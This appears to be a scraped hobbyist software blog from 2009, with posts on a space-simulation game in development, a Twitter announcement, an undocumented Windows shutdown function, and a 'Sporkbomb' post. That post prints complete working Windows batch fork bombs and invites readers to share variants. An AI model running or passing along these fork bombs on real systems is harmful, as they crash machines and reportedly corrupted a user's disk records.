Minousoft Software » Programming

Polaris: Current development progress

oakwhiz — Sun, 16 Aug 2009 20:13:49 +0000

A lot of people have been asking about Polaris lately, so I’m going to clarify what is happening and what needs to be done.

Current status:

Design:
Physics:
Gameplay/mechanics:
Optimization:
Testing:
Overall:

Notes:

Design: I still have to clarify a couple of game design issues, and I have yet to even design the artificial intelligence. Many of the other game elements have already been designed, however.
Physics: I spent a very large amount of time on the custom-made physics engine, and it seems to have paid off. Occasionally I will find a little glitch in the engine, but I don’t expect too many modifications in this area in the future.
Gameplay/mechanics: I need to work on the gameplay because at the moment, Polaris is just an engine. I also have to fix the bugged resource system, and create a better management interface for everything.
Optimization: Polaris hogs a huge amount of resources right now. It’s mostly in the CPU department, but occasional load occurs on the GPU. My own aging PC struggles to keep the framerate up when many ships are created. I’m probably going to add more checking for objects that are too far away, and replace their calculations with faster, more granular approximations. Another idea is to actually freeze processing on objects that can be ignored. However, some progress has already been made with optimization; for example, objects in the game that are far away are not drawn, or things like small graphical effects which require extra CPU time are not drawn. Additionally, I found several ways to ‘recycle’ some expensive physics calculations that were being called multiple times, which increased speed quite a bit.
Testing: Most of the features have been tested extensively, and debug interfaces have been added, so future additions to the code won’t take long to test thoroughly.
Overall: I’m halfway there, and it’s pretty much downhill from here.

On a side note, I’d like to thank Chris Walden for his generous donation of $10!

Minousoft on Twitter! (plus minor updates)

oakwhiz — Tue, 30 Jun 2009 05:40:13 +0000

You can now follow Minousoft on Twitter. You’ll get the added benefit of receiving tweets when new posts are made!

Also, some minor updates…

A couple of bugfixes have been made in Polaris. Not much progress has been happening with Polaris lately, and it looks like it’ll take a while before it’s ready for release.
I’ve been working on several ‘experimental’ apps lately. I might post one up sometime soon.
Some previously unknown 404 and 403 errors on the site have been fixed.
The server software and hardware is being improved. No downtime is expected at all.

Polaris – New game in development

oakwhiz — Sat, 18 Apr 2009 18:36:42 +0000

We’re working on a new game called Polaris, which will be a space travel simulator. Polaris will be my top development priority until June, when we expect to release a public beta. Note that I will probably spend less time improving the site until then.

The main goal of Polaris is to simulate the design ideas and processes that go into planning and launching space missions. We would also like to make Polaris both educational and fun at the same time.

Spacecraft in Polaris are constructed using a revolutionary modular approach. All spacecraft are comprised of small interconnected modules. Each module has its own functions and behavior, and works together with its neighbors. A simple example would be a space probe. It could include a main computer, a communications dish, and a thruster. Each part would be a module, and they would be linked together with special dynamic constraints. The constraints ensure that the modules stay together, even if one of the modules rotates or moves away. If a constraint or one of a constraint’s constrained modules is destroyed, the other modules attached to the constraint will simply disconnect and float away. This allows for some dramatic explosions; i.e. as modules are destroyed, the other modules connected start to break off in chunks and collide with each other, leaving a trail of burning debris.

At this point in development, we have finished basic constraint operations, and I have succeeded in linking five modules and having them interact successfully. This compares to the old physics system, which had major bugs and collided with itself, usually with catastrophic results. But the new physics system is astounding. The individual modules, which move and collide normally, act as one object when a simple constraint object is created between them. Hopefully the rest of it will go smoothly.

The following tasks are on the priority to-do list:

Make multiple-object rotation more realistic. This is when multiple constrained modules have a spinning force and moving force acting on all of the modules at once. Right now it works (mostly) but acts a little odd.
Improve force propagation. This is when a force on one constrained object causes a force on the other. This should scale automatically to situations when one module is the master to several other constrained modules.
Create and test thruster capabilities.

Sporkbomb

oakwhiz — Sun, 22 Mar 2009 05:08:49 +0000

This just in: hxhl95 reports that Sporkbomb B somehow managed to corrupt the MFT (master file table) and boot records on his PC’s hard drive. Don’t try this at home.

Yesterday, I was a bit bored and decided to make a Windows forkbomb.

Definition: forkbomb»

WARNING: DO NOT ATTEMPT TO RUN ANY OF THE CODE EXAMPLES PRESENTED IN THIS ARTICLE.
REALLY! DON’T TRY THIS AT HOME.
WE TAKE NO RESPONSIBILITY FOR YOUR ACTIONS.

That said, here’s the code for Sporkbomb A:
Sporkbomb A»
Sporkbomb A has randomization to make it more fun to watch. You can try to kill the processes and watch as they come back.

Here’s the code for Sporkbomb B:
Sporkbomb B»
Sporkbomb B is highly dangerous and can crash your system instantly. DO NOT RUN IT.

Post your forkbomb modifications here. We want to see them!

A fork bomb is a program that executes a form of DOS Attack. On a computer, it repeatedly forks (or creates new processes) until the computer crashes. All currently running programs may become unresponsive and become impossible to close.

@echo off

echo SPORKBOMB A: PROCESS START

:loop

IF %random% lss 30 %0|%0

IF %random% lss 5 start %0

goto loop

@echo off

echo SPORKBOMB B: PROCESS START

:loop

start %0

goto loop

NtSetSystemPowerState Documented

hxhl95 — Wed, 18 Mar 2009 18:18:44 +0000

Deep inside the Windows kernel, there crawls many, many undocumented functions. With Microsoft’s secrecy, developers have only been able to document most of them, but not all.

There is one function, however, that has been known to exist but is not documented anywhere (or at least not in any source I’ve seen). That function is NtSetSystemPowerState. It’s known that NtShutdownSystem calls NtSetSystemPowerState at the very last stages of the Windows shutdown process after flushing all Registry hives, clearing the disc cache, etc. NtSetSystemPowerState is then responsible for turning off all plug-and-pray devices and either telling the system to poweroff, reboot, sleep, or hibernate.

The formal definition of NtSetSystemPowerState is the following:
Code»

Note that on systems with NT4.0 or earlier, NtSetSystemPowerState does nothing, and only returns a STATUS_NOT_IMPLEMENTED message.

Both POWER_ACTION and SYSTEM_POWER_STATE are documented on msdn, while flags is simply the reason for shutdown, also documented on msdn.

To read more on how to call this function by using NTDLL.DLL, visit my article on CodeProject:
http://www.codeproject.com/KB/winsdk/Windows_Shutdown.aspx

NTSYSAPI

NTSTATUS

NTAPI

NtSetSystemPowerState(

IN POWER_ACTION SystemAction,

IN SYSTEM_POWER_STATE MinSystemState,

IN ULONG Flags);